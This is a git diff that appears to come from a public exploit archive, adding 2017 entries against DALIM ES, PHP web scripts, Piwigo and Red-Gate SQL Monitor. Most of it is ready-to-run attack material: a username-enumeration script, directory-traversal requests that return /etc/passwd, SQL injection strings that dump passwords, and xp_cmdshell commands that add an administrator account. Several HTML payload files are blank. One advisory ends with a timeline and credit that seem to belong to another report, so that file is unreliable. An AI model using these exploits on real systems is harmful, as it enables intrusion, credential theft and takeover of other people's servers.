diff --git a/files.csv b/files.csv index a3288d0d0..c5f8fb9e0 100644 --- a/files.csv +++ b/files.csv @@ -5638,6 +5638,7 @@ id,file,description,date,author,platform,type,port 42409,platforms/linux/dos/42409.txt,"libmad 0.15.1b - 'mp3' Memory Corruption",2017-08-01,qflb.wu,linux,dos,0 42411,platforms/windows/dos/42411.py,"Solarwinds Kiwi Syslog 9.6.1.6 - Denial of Service",2017-08-01,"Guillaume Kaddouch",windows,dos,0 42433,platforms/linux/dos/42433.txt,"WildMIDI 0.4.2 - Multiple Vulnerabilities",2017-08-08,qflb.wu,linux,dos,0 +42445,platforms/win_x86-64/dos/42445.html,"Microsoft Edge 38.14393.1066.0 - 'textarea.defaultValue' Memory Disclosure",2017-08-10,"Google Security Research",win_x86-64,dos,0 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0 @@ -38181,6 +38182,7 @@ id,file,description,date,author,platform,type,port 42284,platforms/hardware/webapps/42284.py,"Humax HG100R 2.0.6 - Backup File Download",2017-06-30,gambler,hardware,webapps,0 42293,platforms/hardware/webapps/42293.txt,"OpenDreamBox 2.0.0 Plugin WebAdmin - Remote Code Execution",2017-07-03,"Jonatas Fil",hardware,webapps,0 42290,platforms/linux/webapps/42290.txt,"BOA Web Server 0.94.14rc21 - Arbitrary File Access",2017-06-20,"Miguel Mendez Z",linux,webapps,0 +42291,platforms/php/webapps/42291.txt,"WordPress Plugin WatuPRO 5.5.1 - SQL Injection",2017-07-03,"Manich Koomsusi",php,webapps,0 42306,platforms/linux/webapps/42306.txt,"NfSen < 1.3.7 / AlienVault OSSIM 5.3.4 - Command Injection",2017-07-10,"Paul Taylor",linux,webapps,0 42307,platforms/hardware/webapps/42307.txt,"Pelco Sarix/Spectra Cameras - Cross-Site Request Forgery / Cross-Site Scripting",2017-07-10,LiquidWorm,hardware,webapps,0 42308,platforms/hardware/webapps/42308.txt,"Pelco Sarix/Spectra Cameras - Cross-Site Request Forgery (Enable SSH Root Access)",2017-07-10,LiquidWorm,hardware,webapps,0 @@ -38236,3 +38238,12 @@ id,file,description,date,author,platform,type,port 42427,platforms/hardware/webapps/42427.html,"Technicolor TC7337 - 'SSID' Persistent Cross-Site Scripting",2017-08-03,"Geolado giolado",hardware,webapps,0 42431,platforms/php/webapps/42431.txt,"WordPress Plugin Easy Modal 2.0.17 - SQL Injection",2017-08-07,defensecode,php,webapps,80 42434,platforms/hardware/webapps/42434.py,"Synology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution",2017-08-08,"Kacper Szurek",hardware,webapps,0 +42436,platforms/jsp/webapps/42436.py,"DALIM SOFTWARE ES Core 5.0 build 7184.1 - User Enumeration",2017-08-09,LiquidWorm,jsp,webapps,0 +42437,platforms/jsp/webapps/42437.html,"DALIM SOFTWARE ES Core 5.0 build 7184.1 - Cross-Site Scripting / Cross-Site Request",2017-08-09,LiquidWorm,jsp,webapps,0 +42438,platforms/jsp/webapps/42438.txt,"DALIM SOFTWARE ES Core 5.0 build 7184.1 - Directory Traversal",2017-08-09,LiquidWorm,jsp,webapps,0 +42439,platforms/jsp/webapps/42439.txt,"DALIM SOFTWARE ES Core 5.0 build 7184.1 - Server-Side Request Forgery",2017-08-09,LiquidWorm,jsp,webapps,0 +42440,platforms/php/webapps/42440.txt,"WebFile Explorer 1.0 - Arbitrary File Download",2017-08-09,"Ihsan Sencan",php,webapps,0 +42441,platforms/php/webapps/42441.txt,"ImageBay 1.0 - SQL Injection",2017-08-10,"Ihsan Sencan",php,webapps,0 +42442,platforms/php/webapps/42442.txt,"GIF Collection 2.0 - SQL Injection",2017-08-10,"Ihsan Sencan",php,webapps,0 +42443,platforms/php/webapps/42443.txt,"Piwigo Plugin User Tag 0.9.0 - Cross-Site Scripting",2017-08-10,"Touhid M.Shaikh",php,webapps,0 +42444,platforms/windows/webapps/42444.txt,"Red-Gate SQL Monitor < 3.10/4.2 - Authentication Bypass",2017-08-10,"Paul Taylor",windows,webapps,0 diff --git a/platforms/jsp/webapps/42436.py b/platforms/jsp/webapps/42436.py new file mode 100755 index 000000000..f51e7cd4e --- /dev/null +++ b/platforms/jsp/webapps/42436.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python +# +# +# DALIM SOFTWARE ES Core 5.0 build 7184.1 User Enumeration Weakness +# +# +# Vendor: Dalim Software GmbH +# Product web page: https://www.dalim.com +# Affected version: ES/ESPRiT 5.0 (build 7184.1) +# (build 7163.2) +# (build 7163.0) +# (build 7135.0) +# (build 7114.1) +# (build 7114.0) +# (build 7093.1) +# (build 7093.0) +# (build 7072.0) +# (build 7051.3) +# (build 7051.1) +# (build 7030.0) +# (build 7009.0) +# (build 6347.0) +# (build 6326.0) +# (build 6305.1) +# (build 6235.9) +# (build 6172.1) +# ES/ESPRiT 4.5 (build 6326.0) +# (build 6144.2) +# (build 5180.2) +# (build 5096.0) +# (build 4314.3) +# (build 4314.0) +# (build 4146.4) +# (build 3308.3) +# ES/ESPRiT 4.0 (build 4202.0) +# (build 4132.1) +# (build 2235.0) +# ES/ESPRiT 3.0 +# +# Summary: ES is the new Enterprise Solution from DALIM SOFTWARE built +# from the successful TWIST, DIALOGUE and MISTRAL product lines. The ES +# Core is the engine that can handle project tracking, JDF device workflow, +# dynamic user interface building, volume management. Each ES installation +# will have different features, depending on the license installed: online +# approval, prepress workflow, project tracking, imposition management... +# +# ES is a collaborative digital asset production and management platform, +# offering services ranging from online approval to web-based production +# environment for all participants of the production cycle, including brand +# owners, agencies, publishers, pre-media, printers and multichannel service +# provider. ES lets users plan, execute and control any aspect of media +# production, regardless of the final use of the output (print, web, ebook, +# movie, and others). It ensures productivity and longterm profitability. +# +# Desc: The weakness is caused due to the 'Login.jsp' script enumerating +# the list of valid usernames when some characters are provided via the +# 'login' parameter. +# +# Tested on: Red Hat Enterprise Linux Server release 7.3 (Maipo) +# CentOS 7 +# Apache Tomcat/7.0.78 +# Apache Tomcat/7.0.67 +# Apache Tomcat/7.0.42 +# Apache Tomcat/6.0.35 +# Apache-Coyote/1.1 +# Java/1.7.0_80 +# Java/1.6.0_21 +# +# +# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic +# @zeroscience +# +# +# Advisory ID: ZSL-2017-5425 +# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5425.php +# +# +# 15.06.2017 +# + + +import argparse +import requests +import sys + +from colorama import Fore, Back, Style, init + +init() + +print 'User Enumeration Tool v0.3 for DALiM ES <= v5.0' +parser = argparse.ArgumentParser() +parser.add_argument('-t', help='target IP or hostname', action='store', dest='target') +parser.add_argument('-f', help='username wordlist', action='store', dest='file') + +args = parser.parse_args() +if len(sys.argv) != 5: + parser.print_help() + sys.exit() + +host = args.target +fn = args.file + +try: + users = open(args.file, 'r') +except(IOError): + print '[!] Error opening \'' +fn+ '\' file.' + sys.exit() +lines = users.read().splitlines() +print '[*] Loaded %d usernames for testing.\n' % len(open(fn).readlines()) +users.close() +results = open('validusers.txt', 'w') + +for line in lines: + try: + r = requests.post("http://" +host+ "/Esprit/public/Login.jsp", data={'actionRole' : 'getRoles', 'login' : line}) + print '[+] Testing username: ' +Fore.GREEN+line+Fore.RESET + testingus = r.text[50:72] + if testingus[19:20] != "\"": + print '[!] Found ' +Style.BRIGHT+Fore.RED+line+Fore.RESET+Style.RESET_ALL+ ' as valid registered user.' + results.write('%s\n' % line) + except: + print '[!] Error connecting to http://'+host + sys.exit() + +results.close() +print '\n[*] Enumeration completed!' +print '[*] Valid usernames successfully written to \'validusers.txt\' file.\n' diff --git a/platforms/jsp/webapps/42437.html b/platforms/jsp/webapps/42437.html new file mode 100755 index 000000000..20c3a402c --- /dev/null +++ b/platforms/jsp/webapps/42437.html @@ -0,0 +1,213 @@ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + diff --git a/platforms/jsp/webapps/42438.txt b/platforms/jsp/webapps/42438.txt new file mode 100755 index 000000000..23c05d963 --- /dev/null +++ b/platforms/jsp/webapps/42438.txt @@ -0,0 +1,210 @@ +DALIM SOFTWARE ES Core 5.0 build 7184.1 Multiple Remote File Disclosures + + +Vendor: Dalim Software GmbH +Product web page: https://www.dalim.com +Affected version: ES/ESPRiT 5.0 (build 7184.1) + (build 7163.2) + (build 7163.0) + (build 7135.0) + (build 7114.1) + (build 7114.0) + (build 7093.1) + (build 7093.0) + (build 7072.0) + (build 7051.3) + (build 7051.1) + (build 7030.0) + (build 7009.0) + (build 6347.0) + (build 6326.0) + (build 6305.1) + (build 6235.9) + (build 6172.1) + ES/ESPRiT 4.5 (build 6326.0) + (build 6144.2) + (build 5180.2) + (build 5096.0) + (build 4314.3) + (build 4314.0) + (build 4146.4) + (build 3308.3) + ES/ESPRiT 4.0 (build 4202.0) + (build 4132.1) + (build 2235.0) + ES/ESPRiT 3.0 + +Summary: ES is the new Enterprise Solution from DALIM SOFTWARE built +from the successful TWIST, DIALOGUE and MISTRAL product lines. The ES +Core is the engine that can handle project tracking, JDF device workflow, +dynamic user interface building, volume management. Each ES installation +will have different features, depending on the license installed: online +approval, prepress workflow, project tracking, imposition management... + +ES is a collaborative digital asset production and management platform, +offering services ranging from online approval to web-based production +environment for all participants of the production cycle, including brand +owners, agencies, publishers, pre-media, printers and multichannel service +provider. ES lets users plan, execute and control any aspect of media +production, regardless of the final use of the output (print, web, ebook, +movie, and others). It ensures productivity and longterm profitability. + +Desc: Input passed thru several parameters is not properly verified before +being used to read files. This can be exploited by an unauthenticated +attacker to read arbitrary files from local resources with directory +traversal attacks. + +Tested on: Red Hat Enterprise Linux Server release 7.3 (Maipo) + CentOS 7 + Apache Tomcat/7.0.78 + Apache Tomcat/7.0.67 + Apache Tomcat/7.0.42 + Apache Tomcat/6.0.35 + Apache-Coyote/1.1 + Java/1.7.0_80 + Java/1.6.0_21 + + +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic + @zeroscience + + +Advisory ID: ZSL-2017-5427 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5427.php + + +15.06.2017 + +-- + + +--------------------------------------------------- +1. PoC request for Password.jsp, orgName parameter: +--------------------------------------------------- + +~ curl -v http://TARGET:8080/Esprit/public/Password.jsp\?orgName\=../../../../../../../../../etc/passwd +* Trying TARGET... +* TCP_NODELAY set +* Connected to TARGET (TARGET) port 8080 (#0) +> GET /Esprit/public/Password.jsp?orgName=../../../../../../../../../etc/passwd HTTP/1.1 +> Host: TARGET:8080 +> User-Agent: curl/7.51.0 +> Accept: */* +> +< HTTP/1.1 200 OK +< Content-Type: text/html;charset=UTF-8 +< Transfer-Encoding: chunked +< Date: Thu, 15 Jun 2017 02:18:44 GMT +< Server: Server +< + +--snip-- +root:x:0:0:root:/root:/bin/bash +bin:x:1:1:bin:/bin:/sbin/nologin +daemon:x:2:2:daemon:/sbin:/sbin/nologin +adm:x:3:4:adm:/var/adm:/sbin/nologin +lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin +sync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown +halt:x:7:0:halt:/sbin:/sbin/halt +mail:x:8:12:mail:/var/spool/mail:/sbin/nologin +--snip-- + + +---------------------------------------------------- +2. PoC request for Login.jsp, orgUnitName parameter: +---------------------------------------------------- + +~ curl -v http://TARGET/Esprit/ES/Login\?orgUnitName\=../../../../../../../../../etc/passwd +* Trying TARGET... +* TCP_NODELAY set +* Connected to TARGET (TARGET) port 80 (#0) +> GET /Esprit/ES/Login?orgUnitName=../../../../../../../../../etc/passwd HTTP/1.1 +> Host: TARGET +> User-Agent: curl/7.51.0 +> Accept: */* +> +< HTTP/1.1 200 OK +< Date: Thu, 15 Jun 2017 02:19:31 GMT +< Server: Server +< Content-Type: text/html;charset=UTF-8 +< Set-Cookie: JSESSIONID=0ECF83AA0D337B5D942B5C164B172051; Path=/Esprit; HttpOnly +< Transfer-Encoding: chunked +< + +--snip-- +root:x:0:0:root:/root:/bin/bash +bin:x:1:1:bin:/bin:/sbin/nologin +daemon:x:2:2:daemon:/sbin:/sbin/nologin +adm:x:3:4:adm:/var/adm:/sbin/nologin +lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin +sync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown +halt:x:7:0:halt:/sbin:/sbin/halt +mail:x:8:12:mail:/var/spool/mail:/sbin/nologin +--snip-- + + +--------------------------------------- +3. PoC request for log, file parameter: +--------------------------------------- + +~ curl http://TARGET:8080/dalimws/log\?file\=../../../../../../../etc/passwd\&len\=10000\&download\=true -v +* Trying TARGET... +* TCP_NODELAY set +* Connected to TARGET (TARGET) port 8080 (#0) +> GET /dalimws/log?file=../../../../../../../etc/passwd&len=10000&download=true HTTP/1.1 +> Host: TARGET:8080 +> User-Agent: curl/7.51.0 +> Accept: */* +> +< HTTP/1.1 200 OK +< Content-Disposition: attachment; filename=../../../../../../../etc/passwd +< Content-Type: text/plain +< Content-Length: 10000 +< Date: Thu, 15 Jun 2017 02:20:17 GMT +< Server: Server +< + +--snip-- +root:x:0:0:root:/root:/bin/bash +bin:x:1:1:bin:/bin:/sbin/nologin +daemon:x:2:2:daemon:/sbin:/sbin/nologin +adm:x:3:4:adm:/var/adm:/sbin/nologin +lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin +sync:x:5:0:sync:/sbin:/bin/sync +shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown +halt:x:7:0:halt:/sbin:/sbin/halt +mail:x:8:12:mail:/var/spool/mail:/sbin/nologin +--snip-- + + +--------------------------------------- +4. PoC request for log, file parameter: +--------------------------------------- + +POST /dalimws/log HTTP/1.1 +Host: TARGET:8080 +Content-Length: 116 +User-Agent: H2O +Content-type: application/x-www-form-urlencoded +Accept: */* +Accept-Language: en-US,en;q=0.8,mk;q=0.6 +Connection: close + +file=../../../../../../../symlnks/common/tomcat7.0/conf/web.xml&len=1000000&XUI_SessionID=LOGReq&responseWiter=XML + +Response: + +--snip-- + + + default + / + + + + + jsp + *.jsp + *.jspx + +--snip-- diff --git a/platforms/jsp/webapps/42439.txt b/platforms/jsp/webapps/42439.txt new file mode 100755 index 000000000..c5cd9ddc9 --- /dev/null +++ b/platforms/jsp/webapps/42439.txt @@ -0,0 +1,130 @@ +DALIM SOFTWARE ES Core 5.0 build 7184.1 Server-Side Request Forgery + + +Vendor: Dalim Software GmbH +Product web page: https://www.dalim.com +Affected version: ES/ESPRiT 5.0 (build 7184.1) + (build 7163.2) + (build 7163.0) + (build 7135.0) + (build 7114.1) + (build 7114.0) + (build 7093.1) + (build 7093.0) + (build 7072.0) + (build 7051.3) + (build 7051.1) + (build 7030.0) + (build 7009.0) + (build 6347.0) + (build 6326.0) + (build 6305.1) + (build 6235.9) + (build 6172.1) + ES/ESPRiT 4.5 (build 6326.0) + (build 6144.2) + (build 5180.2) + (build 5096.0) + (build 4314.3) + (build 4314.0) + (build 4146.4) + (build 3308.3) + ES/ESPRiT 4.0 (build 4202.0) + (build 4132.1) + (build 2235.0) + ES/ESPRiT 3.0 + +Summary: ES is the new Enterprise Solution from DALIM SOFTWARE built +from the successful TWIST, DIALOGUE and MISTRAL product lines. The ES +Core is the engine that can handle project tracking, JDF device workflow, +dynamic user interface building, volume management. Each ES installation +will have different features, depending on the license installed: online +approval, prepress workflow, project tracking, imposition management... + +ES is a collaborative digital asset production and management platform, +offering services ranging from online approval to web-based production +environment for all participants of the production cycle, including brand +owners, agencies, publishers, pre-media, printers and multichannel service +provider. ES lets users plan, execute and control any aspect of media +production, regardless of the final use of the output (print, web, ebook, +movie, and others). It ensures productivity and longterm profitability. + + +Desc: A server-side request forgery (SSRF) vulnerability exists in the +DALIM Web Service management interface within the XUI servlet functionality. +The DALIM web services are a set of tools used by the different DALIM SOFTWARE +applications: TWIST, MISTRAL and ES. It provides file sharing capabilities, +JDF devices, JDF controller, and job spooling management. The application +parses user supplied data in the GET parameter 'screen' to construct a page +request to the service. Since no validation is carried out on the parameter, +an attacker can specify an external domain and force the application to make +a HTTP request to an arbitrary destination host. This can be used by an external +attacker for example to bypass firewalls and initiate a service and network +enumeration on the internal network through the affected application. + +Tested on: Red Hat Enterprise Linux Server release 7.3 (Maipo) + CentOS 7 + Apache Tomcat/7.0.78 + Apache Tomcat/7.0.67 + Apache Tomcat/7.0.42 + Apache Tomcat/6.0.35 + Apache-Coyote/1.1 + Java/1.7.0_80 + Java/1.6.0_21 + + +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic + @zeroscience + + +Advisory ID: ZSL-2017-5428 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5428.php + + +15.06.2017 + +-- + + +1. Check for open port: +----------------------- + +GET /dalimws/xui?screen=http://127.0.0.1:8888 HTTP/1.1 +Host: 192.168.1.2:8080 +Accept: */* +Accept-Language: en +Connection: close + +&h_app_id=0.24749700+1497748201&start_time=2017-06-18+01%3A10%3A01&in_ajax=1 +############# + + +Mitigations +================================== +Upgrade to version 5.5.3.7 or later. + +Timeline +================================== +2017-06-19: Discovered the bug +2017-06-19: Reported to vendor +2017-06-19: First response from vendor saying software it fixed. But the vendor fix not properly +2017-06-20: Version 5.5.3.7 released “Fixed issue with input validate.” +2017-07-03: Advisory published + +Discovered By: +===================== +Manich Koomsusi diff --git a/platforms/php/webapps/42440.txt b/platforms/php/webapps/42440.txt new file mode 100755 index 000000000..e51589231 --- /dev/null +++ b/platforms/php/webapps/42440.txt @@ -0,0 +1,35 @@ +# # # # # +# Exploit Title: WebFile Explorer 1.0 - Arbitrary File Download +# Dork: N/A +# Date: 09.08.2017 +# Vendor Homepage : http://speicher.host/ +# Software Link: https://codecanyon.net/item/webfile-explorer/20366192/ +# Demo: http://speicher.host/envato/codecanyon/demo/web-file-explorer/ +# Version: 1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: N/A +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The security obligation allows an attacker to arbitrary download files.. +# +# Vulnerable Source: +# 1 ............. +# 2 $file = $_GET['id']; +# 3 +# 4 if (file_exists($file)) { +# 5 header('Content-Description: File Transfer'); +# 6 header('Content-Type: application/octet-stream'); +# 7 header('Content-Disposition: attachment; filename="'.basename($file).'"'); +# 8 header('Expires: 0'); +# 9 header('Cache-Control: must-revalidate'); +# 10 ............. +# Proof of Concept: +# http://localhost/[PATH]/web-file-explorer/download.php?id=WebExplorer/[FILE] +# +# Etc... +# # # # # diff --git a/platforms/php/webapps/42441.txt b/platforms/php/webapps/42441.txt new file mode 100755 index 000000000..47b6fdadd --- /dev/null +++ b/platforms/php/webapps/42441.txt @@ -0,0 +1,25 @@ +# # # # # +# Exploit Title: ImageBay 1.0 - SQL Injection +# Dork: N/A +# Date: 10.08.2017 +# Vendor Homepage : http://www.scriptfolder.com/ +# Software Link: http://www.scriptfolder.com/imagebay-publish-or-share-photography-and-pictures/ +# Demo: http://imagebay.scriptfolder.com/ +# Version: 1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: N/A +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# http://localhost/[PATH]/picture.php?pid=[SQL] +# -22++/*!11111union*/+/*!11111select*/+/*!11111concat*/(username,0x3a,password),0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137,0x3138,0x3139,0x3230,0x3231,0x3232+from+users--+- +# http://localhost/[PATH]/updaterate.php?id=[SQL] +# Etc... +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/42442.txt b/platforms/php/webapps/42442.txt new file mode 100755 index 000000000..29987e119 --- /dev/null +++ b/platforms/php/webapps/42442.txt @@ -0,0 +1,25 @@ +# # # # # +# Exploit Title: GIF Collection 2.0 - SQL Injection +# Dork: N/A +# Date: 10.08.2017 +# Vendor Homepage : http://www.scriptfolder.com/ +# Software Link: http://www.scriptfolder.com/scriptfolder-gif-collection-2-0/ +# Demo: http://gif2.scriptfolder.com/ +# Version: 2.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: N/A +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# http://localhost/[PATH]/gifs.php?id=[SQL] +# -27++/*!11111union*/+/*!11111select*/+/*!11111concat*/(username,0x3a,password),0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137+from+users--+- +# http://localhost/[PATH]/updaterate.php?id=[SQL] +# Etc... +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/42443.txt b/platforms/php/webapps/42443.txt new file mode 100755 index 000000000..d4fc4dda7 --- /dev/null +++ b/platforms/php/webapps/42443.txt @@ -0,0 +1,99 @@ +# Exploit Title: Piwigo plugin User Tag , Persistent XSS +# Date: 10 Aug, 2017 +# Extension Version: 0.9.0 +# Software Link: http://piwigo.org/basics/downloads +# Extension link : http://piwigo.org/ext/extension_view.php?eid=441 +# Exploit Author: Touhid M.Shaikh +# Contact: http://twitter.com/touhidshaikh22 +# Website: http://touhidshaikh.com/ +# Category: webapps + + +######## Description ######## + + +######## Proof of Concept ######## + + + *****Request***** + +POST /ws.php?format=json&method=user_tags.tags.update HTTP/1.1 +Host: test.touhidshaikh.com +User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101 +Firefox/54.0 +Accept: application/json, text/javascript, */*; q=0.01 +Accept-Language: en-GB,hi;q=0.8,ar;q=0.5,en;q=0.3 +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Referer: http://test.touhidshaikh.com/picture.php?/4/category/1 +Content-Length: 83 +Cookie: _ga=GA1.2.392572598.1501252105; pwg_id=gsf3gp640oupaer3cjpnl22sr0 +Connection: close + +image_id=4&referer=picture.php%3F%2F4%2Fcategory%2F1&tags= + +************************************************** + +******Response******** +HTTP/1.1 200 OK +Date: Thu, 10 Aug 2017 11:36:24 GMT +Server: Apache/2.4.27 (Debian) +Expires: Thu, 19 Nov 1981 08:52:00 GMT +Cache-Control: no-store, no-cache, must-revalidate +Pragma: no-cache +Content-Length: 46 +Connection: close +Content-Type: text/plain; charset=utf-8 + +{"stat":"ok","result":{"info":"Tags updated"}} + +**************************************************** + + +#################################################### + + +Greetz: Thank You, All my Friends who support me. ;) \ No newline at end of file diff --git a/platforms/win_x86-64/dos/42445.html b/platforms/win_x86-64/dos/42445.html new file mode 100755 index 000000000..5e47b9289 --- /dev/null +++ b/platforms/win_x86-64/dos/42445.html @@ -0,0 +1,336 @@ + + + + + +
+ + + \ No newline at end of file diff --git a/platforms/windows/webapps/42444.txt b/platforms/windows/webapps/42444.txt new file mode 100755 index 000000000..c7f11f170 --- /dev/null +++ b/platforms/windows/webapps/42444.txt @@ -0,0 +1,43 @@ +# Exploit Title: Red-Gate SQL Monitor authentication bypass +# Version: Redgate SQL Monitor before 3.10 and 4.x before 4.2 +# Date: 2017-08-10 +# Red-Gate made a security announcement and publicly released the fixed version more than two years before this exploit was published +# Vendor Advisory: http://www.red-gate.com/products/dba/sql-monitor/entrypage/security-vulnerability +# Software Link: ftp://support.red-gate.com/patches/SqlMonitorWeb/09Apr2015/SQLMonitorWeb.exe +# Exploit Author: Paul Taylor / Foregenix Ltd +# Website: http://www.foregenix.com/blog +# Tested on: SQLMonitor 4.1.2.404, SQLMonitor 4.1.0.2226 +# CVE: CVE-2015-9098 + +1. Description + +A remote attacker can gain unauthenticated access to the Base Monitor, resulting in the ability to execute arbitrary SQL commands on any monitored Microsoft SQL Server machines. If the Base Monitor is connecting to these machines using an account with SQL admin privileges, then code execution on the operating system can result in full system compromise (if Microsoft SQL Server is running with local administrator privileges). + +2. Proof of Concept + +Fingerprint the Red-Gate SQL monitor version on the target machine, by examining the web page source code on the log in page. E.g. "/static/4.1.0.2226/Content/RedGate.Response.css" implies version 4.1.0.2226. + +Download and install the corresponding version of SQL monitor on a test VM. Microsoft SQL Express can be used to get base monitor to work properly, and test out the functionality. Connect the SQL monitor and base monitor together on your test VM machine and log in. + +Then browse to "Configuration / Base Monitor connection" and update the Base Monitor computer details to a different Base Monitor IP address and Port number (on the target or victim machine). Click "Change connection". Now you will be connecting to the target Base Monitor without authentication, but with full privileges. + +Use Configuration / Custom-metrics / Create, and then provide a Metric name and Description, and enter a T-SQL query. If Base Monitor is running with SQL admin rights, and MS SQL is running with Windows administrator rights, then the following will work: + +EXEC sp_configure 'show advanced options', 1; +RECONFIGURE with override; +EXEC sp_configure 'xp_cmdshell', 1; +RECONFIGURE with override; +EXEC xp_cmdshell 'net user testuser MyLongPassword_1 /add' +EXEC xp_cmdshell 'net localgroup administrators testuser /add' + +Select a SQL server instance (or all instances), and then select "Specify databases" and type: master +Click "Test metric collection." +In the popup dialog, ensure the desired instances are ticked, and then click "Test metric collection". + +This will execute your SQL query with the rights of the Base Monitor SQL user, and any xp_cmdshell with the rights of the service account in use by MSSQL. + +The return value will contain an error, because the result is not an integer, but you should be able to see some of the xp_cmdshell command response in the error, e.g. "Unable to convert.... The command completed successfully" + +3. Solution: + +Update to latest version of Red-Gate SQL monitor \ No newline at end of file